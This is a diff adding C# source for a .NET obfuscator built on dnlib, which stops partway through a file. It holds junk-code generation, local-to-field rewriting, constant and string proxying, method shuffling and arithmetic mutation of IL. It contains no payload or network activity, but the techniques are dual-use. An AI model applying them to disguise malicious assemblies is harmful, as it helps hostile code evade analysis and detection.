+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Junk;
+
+internal class Junks
+{
+	public static Random random = new Random();
+
+	public static List<MethodDef> AllVoid = new List<MethodDef>();
+
+	public static MethodDefUser MethodGenerator(ModuleDef module, CilBody instr, MethodAttributes attributes)
+	{
+		MethodImplAttributes implFlags = MethodImplAttributes.IL;
+		return new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.Void), implFlags, attributes)
+		{
+			Body = instr
+		};
+	}
+
+	public static MethodDefUser GetStringFunction(ModuleDef module, CilBody cilBody, MethodAttributes attributes)
+	{
+		MethodImplAttributes implFlags = MethodImplAttributes.IL;
+		return new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.String), implFlags, attributes)
+		{
+			Body = cilBody
+		};
+	}
+
+	public static MethodDefUser GetIntFunction(ModuleDef module, CilBody instr, MethodAttributes attributes)
+	{
+		MethodImplAttributes implFlags = MethodImplAttributes.IL;
+		return new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.Int32), implFlags, attributes)
+		{
+			Body = instr
+		};
+	}
+
+	public static MethodDefUser GetLongFunction(ModuleDef module, CilBody instr, MethodAttributes attributes)
+	{
+		MethodImplAttributes implFlags = MethodImplAttributes.IL;
+		return new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.Int64), implFlags, attributes)
+		{
+			Body = instr
+		};
+	}
+
+	public static FieldDef CreateString(ModuleDef module, FieldAttributes attributes)
+	{
+		FieldSig signature = new FieldSig(module.CorLibTypes.String);
+		return new FieldDefUser(Methods.GenerateString(), signature, attributes);
+	}
+
+	public static FieldDef CreateInt32(ModuleDef module, FieldAttributes attributes)
+	{
+		FieldSig signature = new FieldSig(module.CorLibTypes.Int32);
+		return new FieldDefUser(Methods.GenerateString(), signature, attributes);
+	}
+
+	public static FieldDef CreateInt64(ModuleDef module, FieldAttributes attributes)
+	{
+		FieldSig signature = new FieldSig(module.CorLibTypes.Int64);
+		return new FieldDefUser(Methods.GenerateString(), signature, attributes);
+	}
+
+	public static FieldDef CreateBool(ModuleDef module, FieldAttributes attributes)
+	{
+		FieldSig signature = new FieldSig(module.CorLibTypes.Boolean);
+		return new FieldDefUser(Methods.GenerateString(), signature, attributes);
+	}
+
+	public static TypeDef CreateNewClass()
+	{
+		return new TypeDefUser(Methods.GenerateString())
+		{
+			Attributes = (TypeAttributes.Abstract | TypeAttributes.BeforeFieldInit),
+			Namespace = Methods.GenerateString()
+		};
+	}
+
+	public static MethodDef cctor(ModuleDef module)
+	{
+		return new MethodDefUser(".cctor", MethodSig.CreateInstance(module.CorLibTypes.Void), MethodImplAttributes.IL, MethodAttributes.Private | MethodAttributes.Static | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName);
+	}
+
+	public static MethodDef ctor(ModuleDef module)
+	{
+		return new MethodDefUser(".ctor", MethodSig.CreateInstance(module.CorLibTypes.Void), MethodImplAttributes.IL, MethodAttributes.Public | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName);
+	}
+
+	public static FieldAttributes RandomFieldAttributes(bool Static)
+	{
+		FieldAttributes fieldAttributes = FieldAttributes.Private;
+		switch (random.Next(0, 3))
+		{
+		case 0:
+			fieldAttributes = FieldAttributes.Public;
+			break;
+		case 1:
+			fieldAttributes = FieldAttributes.Private;
+			break;
+		case 2:
+			fieldAttributes = FieldAttributes.Literal;
+			break;
+		}
+		if (Static)
+		{
+			fieldAttributes |= FieldAttributes.Static;
+		}
+		return fieldAttributes;
+	}
+
+	public static MethodAttributes RandomMethodAttributes(bool Static)
+	{
+		MethodAttributes methodAttributes = MethodAttributes.Private;
+		switch (random.Next(0, 3))
+		{
+		case 0:
+			methodAttributes = MethodAttributes.Public;
+			break;
+		case 1:
+			methodAttributes = MethodAttributes.Private;
+			break;
+		case 2:
+			methodAttributes = MethodAttributes.Virtual;
+			break;
+		}
+		if (Static)
+		{
+			methodAttributes |= MethodAttributes.Static;
+		}
+		return methodAttributes | MethodAttributes.HideBySig | MethodAttributes.PrivateScope;
+	}
+
+	public static CilBody GeneratorBody(ModuleDef module, string TypeMethod)
+	{
+		CilBody cilBody = new CilBody();
+		if (TypeMethod == "String")
+		{
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Nop));
+			cilBody.Variables.Add(new Local(module.CorLibTypes.String, Methods.GenerateString()));
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldstr, Methods.GenerateString()));
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Stloc_0));
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0));
+		}
+		if (TypeMethod == "Int32")
+		{
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Nop));
+			cilBody.Variables.Add(new Local(module.CorLibTypes.Int32, Methods.GenerateString()));
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, random.Next(int.MinValue, int.MaxValue)));
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Stloc_0));
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0));
+		}
+		if (TypeMethod == "Int64")
+		{
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Nop));
+			cilBody.Variables.Add(new Local(module.CorLibTypes.Int64, Methods.GenerateString()));
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, random.Next(int.MinValue, int.MaxValue)));
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Stloc_0));
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0));
+		}
+		if (TypeMethod != "Void")
+		{
+			cilBody.Instructions.Add(Instruction.Create(OpCodes.Ret));
+		}
+		return cilBody;
+	}
+
+	public static void Execute(ModuleDef module)
+	{
+		int num = random.Next(20, 100);
+		for (int i = 0; i < num; i++)
+		{
+			TypeDef typeDef = CreateNewClass();
+			bool flag = false;
+			MethodDef methodDef;
+			if (random.Next(0, 3) == 1)
+			{
+				flag = true;
+				methodDef = cctor(module);
+			}
+			else
+			{
+				methodDef = ctor(module);
+			}
+			if (random.Next(0, 8) == 1)
+			{
+				typeDef.Namespace = Methods.GenerateString();
+			}
+			for (int j = 0; j < 4; j++)
+			{
+				for (int k = 0; k < random.Next(0, 2); k++)
+				{
+					typeDef.Fields.Add(CreateInt32(module, RandomFieldAttributes(flag)));
+				}
+				for (int l = 0; l < random.Next(0, 2); l++)
+				{
+					typeDef.Methods.Add(GetIntFunction(module, GeneratorBody(module, "Int32"), RandomMethodAttributes(flag)));
+				}
+				for (int m = 0; m < random.Next(0, 2); m++)
+				{
+					typeDef.Fields.Add(CreateBool(module, RandomFieldAttributes(flag)));
+				}
+				for (int n = 0; n < random.Next(0, 2); n++)
+				{
+					typeDef.Methods.Add(GetStringFunction(module, GeneratorBody(module, "String"), RandomMethodAttributes(flag)));
+				}
+				for (int num2 = 0; num2 < random.Next(0, 2); num2++)
+				{
+					typeDef.Fields.Add(CreateString(module, RandomFieldAttributes(flag)));
+				}
+				for (int num3 = 0; num3 < random.Next(0, 2); num3++)
+				{
+					typeDef.Fields.Add(CreateInt64(module, RandomFieldAttributes(flag)));
+				}
+				for (int num4 = 0; num4 < random.Next(0, 2); num4++)
+				{
+					MethodDef item = MethodGenerator(module, GeneratorBody(module, "Void"), RandomMethodAttributes(flag));
+					if (flag)
+					{
+						AllVoid.Add(item);
+					}
+					typeDef.Methods.Add(item);
+				}
+			}
+			typeDef.Methods.Add(methodDef);
+			methodDef.Body = new CilBody();
+			if (!flag)
+			{
+				MemberRefUser mr = new MemberRefUser(module, ".ctor", MethodSig.CreateInstance(module.CorLibTypes.Void), module.CorLibTypes.Object.TypeDefOrRef);
+				methodDef.Body.Instructions.Add(OpCodes.Ldarg_0.ToInstruction());
+				methodDef.Body.Instructions.Add(OpCodes.Call.ToInstruction(mr));
+			}
+			foreach (FieldDef field in typeDef.Fields)
+			{
+				if (field.FieldType.TypeName == "Int64")
+				{
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I8, (long)random.Next(int.MinValue, int.MaxValue)));
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Stsfld, field));
+				}
+				if (field.FieldType.TypeName == "Boolean")
+				{
+					if (random.Next(0, 2) == 1)
+					{
+						methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_1));
+					}
+					else
+					{
+						methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0));
+					}
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Stsfld, field));
+				}
+				if (field.FieldType.TypeName == "String")
+				{
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldstr, Methods.GenerateString()));
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Stsfld, field));
+				}
+				if (field.FieldType.TypeName == "Int32")
+				{
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, random.Next(int.MinValue, int.MaxValue)));
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Stsfld, field));
+				}
+			}
+			methodDef.Body.Instructions.Add(OpCodes.Ret.ToInstruction());
+			module.Types.Add(typeDef);
+		}
+		for (int num5 = 0; num5 < random.Next(AllVoid.Count); num5++)
+		{
+			MethodDef methodDef2 = AllVoid[random.Next(AllVoid.Count)];
+			MethodDef method = AllVoid[random.Next(AllVoid.Count)];
+			methodDef2.Body.Instructions.Add(Instruction.Create(OpCodes.Call, method));
+			methodDef2.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+		}
+		AllVoid.Clear();
+	}
+}

Obfuscator.Obfuscator.Local2Field/Local2Field.cs

@@ -0,0 +1,67 @@
+using System.Collections.Generic;
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Local2Field;
+
+internal class Local2Field
+{
+	private static Dictionary<Local, FieldDef> _convertedLocals = new Dictionary<Local, FieldDef>();
+
+	public static void Execute(ModuleDef moduleDef)
+	{
+		foreach (TypeDef item in moduleDef.Types.Where((TypeDef x) => x != moduleDef.GlobalType))
+		{
+			foreach (MethodDef item2 in item.Methods.Where((MethodDef x) => x.HasBody && x.Body.HasInstructions && !x.IsConstructor))
+			{
+				_convertedLocals = new Dictionary<Local, FieldDef>();
+				Process(moduleDef, item2);
+			}
+		}
+	}
+
+	private static void Process(ModuleDef module, MethodDef meth)
+	{
+		meth.Body.SimplifyMacros(meth.Parameters);
+		foreach (Instruction instruction in meth.Body.Instructions)
+		{
+			if (instruction.Operand is Local local)
+			{
+				FieldDef fieldDef;
+				if (!_convertedLocals.ContainsKey(local))
+				{
+					fieldDef = new FieldDefUser(Methods.GenerateString(), new FieldSig(local.Type), FieldAttributes.Public | FieldAttributes.Static);
+					module.GlobalType.Fields.Add(fieldDef);
+					_convertedLocals.Add(local, fieldDef);
+				}
+				else
+				{
+					fieldDef = _convertedLocals[local];
+				}
+				switch (instruction.OpCode?.Code)
+				{
+				case Code.Ldloc:
+					instruction.OpCode = OpCodes.Ldsfld;
+					break;
+				case Code.Ldloca:
+					instruction.OpCode = OpCodes.Ldsflda;
+					break;
+				case Code.Stloc:
+					instruction.OpCode = OpCodes.Stsfld;
+					break;
+				default:
+					instruction.OpCode = null;
+					break;
+				}
+				instruction.Operand = fieldDef;
+			}
+		}
+		_convertedLocals.ToList().ForEach(delegate(KeyValuePair<Local, FieldDef> x)
+		{
+			meth.Body.Variables.Remove(x.Key);
+		});
+		_convertedLocals = new Dictionary<Local, FieldDef>();
+	}
+}

Obfuscator.Obfuscator.ManyProxy/ManyProxy.cs

@@ -0,0 +1,70 @@
+using System.Collections.Generic;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.ManyProxy;
+
+internal class ManyProxy
+{
+	public static void Execute(ModuleDef module)
+	{
+		foreach (TypeDef type in module.GetTypes())
+		{
+			if (type.IsGlobalModuleType)
+			{
+				continue;
+			}
+			foreach (MethodDef method in type.Methods)
+			{
+				if (!method.HasBody)
+				{
+					continue;
+				}
+				IList<Instruction> instructions = method.Body.Instructions;
+				for (int i = 0; i < instructions.Count; i++)
+				{
+					if (method.Body.Instructions[i].IsLdcI4())
+					{
+						MethodImplAttributes implFlags = MethodImplAttributes.IL;
+						MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
+						MethodDefUser methodDefUser = new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.Int32), implFlags, flags);
+						module.GlobalType.Methods.Add(methodDefUser);
+						methodDefUser.Body = new CilBody();
+						methodDefUser.Body.Variables.Add(new Local(module.CorLibTypes.Int32));
+						methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, instructions[i].GetLdcI4Value()));
+						methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+						instructions[i].OpCode = OpCodes.Call;
+						instructions[i].Operand = methodDefUser;
+					}
+					else if (method.Body.Instructions[i].OpCode == OpCodes.Ldc_R4)
+					{
+						MethodImplAttributes implFlags2 = MethodImplAttributes.IL;
+						MethodAttributes flags2 = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
+						MethodDefUser methodDefUser2 = new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.Double), implFlags2, flags2);
+						module.GlobalType.Methods.Add(methodDefUser2);
+						methodDefUser2.Body = new CilBody();
+						methodDefUser2.Body.Variables.Add(new Local(module.CorLibTypes.Double));
+						methodDefUser2.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_R4, (float)method.Body.Instructions[i].Operand));
+						methodDefUser2.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+						instructions[i].OpCode = OpCodes.Call;
+						instructions[i].Operand = methodDefUser2;
+					}
+					else if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
+					{
+						MethodImplAttributes implFlags3 = MethodImplAttributes.IL;
+						MethodAttributes flags3 = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
+						MethodDefUser methodDefUser3 = new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(module.CorLibTypes.String), implFlags3, flags3);
+						module.GlobalType.Methods.Add(methodDefUser3);
+						methodDefUser3.Body = new CilBody();
+						methodDefUser3.Body.Variables.Add(new Local(module.CorLibTypes.String));
+						methodDefUser3.Body.Instructions.Add(Instruction.Create(OpCodes.Ldstr, (string)method.Body.Instructions[i].Operand));
+						methodDefUser3.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+						instructions[i].OpCode = OpCodes.Call;
+						instructions[i].Operand = methodDefUser3;
+					}
+				}
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Mixer/Mixer.cs

@@ -0,0 +1,221 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+using Obfuscator.Obfuscator.Junk;
+
+namespace Obfuscator.Obfuscator.Mixer;
+
+internal class Mixer
+{
+	private static Random random = new Random();
+
+	private static string getRandomCharacters(int count)
+	{
+		StringBuilder stringBuilder = new StringBuilder();
+		for (int i = 1; i <= count; i++)
+		{
+			int index = Methods.Random.Next(0, "asdfghjklqwertyuiopmnbvcxz".Length);
+			stringBuilder.Append("asdfghjklqwertyuiopmnbvcxz"[index]);
+		}
+		return stringBuilder.ToString();
+	}
+
+	private static TypeDef CreateNewClass(TypeDef typem)
+	{
+		return new TypeDefUser(string.Concat(typem.Name, "_", getRandomCharacters(10)))
+		{
+			Attributes = (TypeAttributes.Public | TypeAttributes.BeforeFieldInit),
+			Namespace = typem.Namespace,
+			IsClass = true
+		};
+	}
+
+	private static MethodDef ctor(ModuleDef module)
+	{
+		MethodDefUser methodDefUser = new MethodDefUser(".ctor", MethodSig.CreateInstance(module.CorLibTypes.Void), MethodImplAttributes.IL, MethodAttributes.Public | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName);
+		MemberRefUser mr = new MemberRefUser(module, ".ctor", MethodSig.CreateInstance(module.CorLibTypes.Void), module.CorLibTypes.Object.TypeDefOrRef);
+		methodDefUser.Body = new CilBody();
+		methodDefUser.Body.Instructions.Add(OpCodes.Ldarg_0.ToInstruction());
+		methodDefUser.Body.Instructions.Add(OpCodes.Call.ToInstruction(mr));
+		methodDefUser.Body.Instructions.Add(OpCodes.Nop.ToInstruction());
+		methodDefUser.Body.Instructions.Add(OpCodes.Ret.ToInstruction());
+		return methodDefUser;
+	}
+
+	private static bool Analys(ModuleDef module, MethodDef method)
+	{
+		if (method.Name == "GetFiltes" || method.FullName.ToLower().Contains("get_") || method.FullName.ToLower().Contains("set_") || method.FullName.ToLower().Contains("<>") || !method.Attributes.ToString().Contains("Static") || method.FullName.ToLower().Contains("<start>") || method.FullName.ToLower().Contains("block") || method.Attributes.ToString().ToLower().Contains("pinvokeimpl") || method.IsConstructor || method.IsSpecialName)
+		{
+			return false;
+		}
+		if (method.Attributes.ToString().Replace("PrivateScope", "").Contains("Private"))
+		{
+			method.Attributes = MethodAttributes.Public | MethodAttributes.Static;
+		}
+		for (int i = 0; i < method.Body.Instructions.Count(); i++)
+		{
+			if (method.Body.Instructions[i].OpCode == OpCodes.Call && method.Body.Instructions[i].Operand is MethodDef)
+			{
+				MethodAttributes attributes = ((MethodDef)method.Body.Instructions[i].Operand).Attributes;
+				if (attributes.ToString().Contains("Private") || !attributes.ToString().Contains("Static"))
+				{
+					return false;
+				}
+			}
+			else if (method.Body.Instructions[i].OpCode == OpCodes.Ldsfld && method.Body.Instructions[i].Operand is FieldDef)
+			{
+				FieldAttributes attributes2 = ((FieldDef)method.Body.Instructions[i].Operand).Attributes;
+				if (attributes2.ToString().Contains("Private") || !attributes2.ToString().Contains("Static"))
+				{
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+
+	private static void ReplaceFunction(ModuleDef module, MethodDef replaced, MethodDef main)
+	{
+		foreach (TypeDef item in (IEnumerable<TypeDef>)module.Types.ToArray())
+		{
+			foreach (MethodDef method in item.Methods)
+			{
+				if (method.Body == null)
+				{
+					continue;
+				}
+				for (int i = 0; i < method.Body.Instructions.Count(); i++)
+				{
+					if ((method.Body.Instructions[i].OpCode == OpCodes.Call || method.Body.Instructions[i].OpCode == OpCodes.Ldftn) && method.Body.Instructions[i].Operand == replaced)
+					{
+						method.Body.Instructions[i].Operand = main;
+					}
+				}
+			}
+		}
+	}
+
+	public static MethodAttributes RandomMethodAttributes()
+	{
+		MethodAttributes methodAttributes = MethodAttributes.Private;
+		switch (Methods.Random.Next(0, 2))
+		{
+		case 0:
+			methodAttributes = MethodAttributes.Public;
+			break;
+		case 1:
+			methodAttributes = MethodAttributes.Private;
+			break;
+		}
+		return methodAttributes | MethodAttributes.Static | MethodAttributes.HideBySig | MethodAttributes.PrivateScope;
+	}
+
+	public static FieldAttributes RandomFieldAttributes()
+	{
+		FieldAttributes fieldAttributes = FieldAttributes.Private;
+		switch (Methods.Random.Next(0, 3))
+		{
+		case 0:
+			fieldAttributes = FieldAttributes.Public;
+			break;
+		case 1:
+			fieldAttributes = FieldAttributes.Private;
+			break;
+		case 2:
+			fieldAttributes = FieldAttributes.Literal;
+			break;
+		}
+		return fieldAttributes | FieldAttributes.Static;
+	}
+
+	public static void Execute(ModuleDef module)
+	{
+		List<MethodDef> list = new List<MethodDef>();
+		foreach (TypeDef item2 in (IEnumerable<TypeDef>)module.Types.ToArray())
+		{
+			foreach (MethodDef method2 in item2.Methods)
+			{
+				if (method2.Body == null || !(method2.Name != "Main") || !(method2.Name != ".ctor") || !(method2.Name != ".cctor") || !Analys(module, method2))
+				{
+					continue;
+				}
+				TypeDef typeDef = CreateNewClass(item2);
+				typeDef.BaseType = item2.BaseType;
+				MethodDefUser methodDefUser = new MethodDefUser(method2.Name, method2.MethodSig, method2.ImplAttributes, MethodAttributes.Public | MethodAttributes.Static);
+				methodDefUser.Body = method2.Body;
+				bool flag = false;
+				List<MethodDef> list2 = new List<MethodDef>();
+				for (int i = 0; i < random.Next(1, 4); i++)
+				{
+					for (int j = 0; j < Methods.Random.Next(0, 2); j++)
+					{
+						typeDef.Methods.Add(Junks.GetIntFunction(module, Junks.GeneratorBody(module, "Int32"), RandomMethodAttributes()));
+					}
+					for (int k = 0; k < Methods.Random.Next(0, 2); k++)
+					{
+						typeDef.Fields.Add(Junks.CreateString(module, RandomFieldAttributes()));
+					}
+					for (int l = 0; l < Methods.Random.Next(0, 2); l++)
+					{
+						typeDef.Fields.Add(Junks.CreateBool(module, RandomFieldAttributes()));
+					}
+					for (int m = 0; m < Methods.Random.Next(0, 2); m++)
+					{
+						typeDef.Fields.Add(Junks.CreateInt64(module, RandomFieldAttributes()));
+					}
+					for (int n = 0; n < Methods.Random.Next(0, 2); n++)
+					{
+						typeDef.Methods.Add(Junks.GetStringFunction(module, Junks.GeneratorBody(module, "String"), RandomMethodAttributes()));
+					}
+					for (int num = 0; num < Methods.Random.Next(0, 2); num++)
+					{
+						MethodDefUser item = Junks.MethodGenerator(module, Junks.GeneratorBody(module, "Void"), RandomMethodAttributes());
+						list2.Add(item);
+						typeDef.Methods.Add(item);
+					}
+					if (!flag && random.Next(3) == 0)
+					{
+						typeDef.Methods.Add(methodDefUser);
+						typeDef.Methods.Add(ctor(module));
+						module.Types.Add(typeDef);
+						ReplaceFunction(module, method2, methodDefUser);
+						list.Add(method2);
+						flag = true;
+					}
+				}
+				if (!flag)
+				{
+					typeDef.Methods.Add(methodDefUser);
+					typeDef.Methods.Add(ctor(module));
+					module.Types.Add(typeDef);
+					ReplaceFunction(module, method2, methodDefUser);
+					list.Add(method2);
+				}
+				for (int num2 = 0; num2 < list2.Count; num2++)
+				{
+					MethodDef methodDef = list2[num2];
+					MethodDef method = list2[random.Next(list2.Count)];
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Call, method));
+					methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+				}
+				list2.Clear();
+			}
+		}
+		foreach (MethodDef item3 in list)
+		{
+			foreach (TypeDef type in module.Types)
+			{
+				if (type.Methods.Contains(item3))
+				{
+					type.Methods.Remove(item3);
+					break;
+				}
+			}
+		}
+		list.Clear();
+	}
+}

Obfuscator.Obfuscator.Mutation1/Mutation1.cs

@@ -0,0 +1,96 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Mutation1;
+
+internal class Mutation1
+{
+	private static ModuleDefMD _moduleDefMd;
+
+	public static void Execute(ModuleDefMD moduleDefMd)
+	{
+		_moduleDefMd = moduleDefMd;
+		MutationHelper.CryptoRandom cryptoRandom = new MutationHelper.CryptoRandom();
+		foreach (TypeDef type in moduleDefMd.GetTypes())
+		{
+			List<MethodDef> list = new List<MethodDef>();
+			foreach (MethodDef item in type.Methods.Where((MethodDef x) => x.HasBody))
+			{
+				IList<Instruction> instructions = item.Body.Instructions;
+				for (int i = 0; i < instructions.Count; i++)
+				{
+					if (instructions[i].IsLdcI4() && IsSafe(instructions.ToList(), i))
+					{
+						MethodDef methodDef = null;
+						int ldcI4Value = instructions[i].GetLdcI4Value();
+						instructions[i].OpCode = OpCodes.Ldc_R8;
+						switch (cryptoRandom.Next(0, 3))
+						{
+						case 0:
+							methodDef = GenerateRefMethod("Floor");
+							instructions[i].Operand = Convert.ToDouble((double)ldcI4Value + cryptoRandom.NextDouble());
+							break;
+						case 1:
+							methodDef = GenerateRefMethod("Sqrt");
+							instructions[i].Operand = Math.Pow(Convert.ToDouble(ldcI4Value), 2.0);
+							break;
+						case 2:
+							methodDef = GenerateRefMethod("Round");
+							instructions[i].Operand = Convert.ToDouble(ldcI4Value);
+							break;
+						}
+						instructions.Insert(i + 1, OpCodes.Call.ToInstruction(methodDef));
+						instructions.Insert(i + 2, OpCodes.Conv_I4.ToInstruction());
+						i += 2;
+						list.Add(methodDef);
+					}
+				}
+				item.Body.SimplifyMacros(item.Parameters);
+			}
+			foreach (MethodDef item2 in list)
+			{
+				type.Methods.Add(item2);
+			}
+		}
+	}
+
+	private static MethodDef GenerateRefMethod(string methodName)
+	{
+		MethodDefUser methodDefUser = new MethodDefUser("_" + Guid.NewGuid().ToString("D").ToUpper()
+			.Substring(2, 5), MethodSig.CreateStatic(_moduleDefMd.ImportAsTypeSig(typeof(double))), MethodAttributes.Private | MethodAttributes.Static | MethodAttributes.HideBySig)
+		{
+			Signature = new MethodSig
+			{
+				Params = { _moduleDefMd.ImportAsTypeSig(typeof(double)) },
+				RetType = _moduleDefMd.ImportAsTypeSig(typeof(double))
+			}
+		};
+		CilBody cilBody = new CilBody();
+		cilBody.Instructions.Add(OpCodes.Ldarg_0.ToInstruction());
+		cilBody.Instructions.Add(OpCodes.Call.ToInstruction(GetMethod(typeof(Math), methodName, new Type[1] { typeof(double) })));
+		cilBody.Instructions.Add(OpCodes.Stloc_0.ToInstruction());
+		cilBody.Instructions.Add(OpCodes.Ldloc_0.ToInstruction());
+		cilBody.Instructions.Add(OpCodes.Ret.ToInstruction());
+		CilBody body = cilBody;
+		methodDefUser.Body = body;
+		methodDefUser.Body.Variables.Add(new Local(_moduleDefMd.ImportAsTypeSig(typeof(double))));
+		return methodDefUser.ResolveMethodDef();
+	}
+
+	private static bool IsSafe(List<Instruction> instructions, int i)
+	{
+		if (new int[5] { -2, -1, 0, 1, 2 }.Contains(instructions[i].GetLdcI4Value()))
+		{
+			return false;
+		}
+		return true;
+	}
+
+	private static IMethod GetMethod(Type type, string methodName, Type[] types)
+	{
+		return _moduleDefMd.Import(type.GetMethod(methodName, types));
+	}
+}

Obfuscator.Obfuscator.Mutation1/MutationHelper.cs

@@ -0,0 +1,94 @@
+using System;
+using System.Security.Cryptography;
+
+namespace Obfuscator.Obfuscator.Mutation1;
+
+internal class MutationHelper
+{
+	public sealed class CryptoRandom : Random, IDisposable
+	{
+		private RNGCryptoServiceProvider cryptoProvider = new RNGCryptoServiceProvider();
+
+		private byte[] uint32Buffer = new byte[4];
+
+		public CryptoRandom()
+		{
+		}
+
+		public CryptoRandom(int seedIgnored)
+		{
+		}
+
+		public override int Next()
+		{
+			cryptoProvider.GetBytes(uint32Buffer);
+			return BitConverter.ToInt32(uint32Buffer, 0) & 0x7FFFFFFF;
+		}
+
+		public override int Next(int maxValue)
+		{
+			if (maxValue < 0)
+			{
+				throw new ArgumentOutOfRangeException("maxValue");
+			}
+			return Next(0, maxValue);
+		}
+
+		public override int Next(int minValue, int maxValue)
+		{
+			if (minValue > maxValue)
+			{
+				throw new ArgumentOutOfRangeException("minValue");
+			}
+			if (minValue == maxValue)
+			{
+				return minValue;
+			}
+			long num = maxValue - minValue;
+			long num2 = 4294967296L;
+			long num3 = num2 % num;
+			uint num4;
+			do
+			{
+				cryptoProvider.GetBytes(uint32Buffer);
+				num4 = BitConverter.ToUInt32(uint32Buffer, 0);
+			}
+			while (num4 >= num2 - num3);
+			return (int)(minValue + num4 % num);
+		}
+
+		public override double NextDouble()
+		{
+			cryptoProvider.GetBytes(uint32Buffer);
+			return (double)BitConverter.ToUInt32(uint32Buffer, 0) / 4294967296.0;
+		}
+
+		public override void NextBytes(byte[] buffer)
+		{
+			if (buffer == null)
+			{
+				throw new ArgumentNullException("buffer");
+			}
+			cryptoProvider.GetBytes(buffer);
+		}
+
+		public void Dispose()
+		{
+			InternalDispose();
+		}
+
+		~CryptoRandom()
+		{
+			InternalDispose();
+		}
+
+		private void InternalDispose()
+		{
+			if (cryptoProvider != null)
+			{
+				cryptoProvider.Dispose();
+				cryptoProvider = null;
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Mutation2/Abs.cs

@@ -0,0 +1,22 @@
+using System;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class Abs : iMutation
+{
+	public void Prepare(TypeDef type)
+	{
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Call, method.Module.Import(typeof(Math).GetMethod("Abs", new Type[1] { typeof(int) }))));
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/Add.cs

@@ -0,0 +1,27 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class Add : iMutation
+{
+	public void Prepare(TypeDef type)
+	{
+	}
+
+	public void Process(MethodDef method, ref int index)
+	{
+		int ldcI4Value = method.Body.Instructions[index].GetLdcI4Value();
+		int num = Methods.Random.Next((int)((double)ldcI4Value / 1.5));
+		method.Body.Instructions[index].OpCode = OpCodes.Ldc_I4;
+		method.Body.Instructions[index].Operand = ldcI4Value - num;
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Ldc_I4, num));
+		method.Body.Instructions.Insert(++index, new Instruction(OpCodes.Add));
+	}
+
+	public bool Supported(Instruction instr)
+	{
+		return Utils.CheckArithmetic(instr);
+	}
+}

Obfuscator.Obfuscator.Mutation2/CharMutations.cs

@@ -0,0 +1,29 @@
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Mutation2;
+
+public class CharMutations : iMutation
+{
+	public MethodDef Converter { get; set; }
+
+	public void Prepare(TypeDef type)
+	{
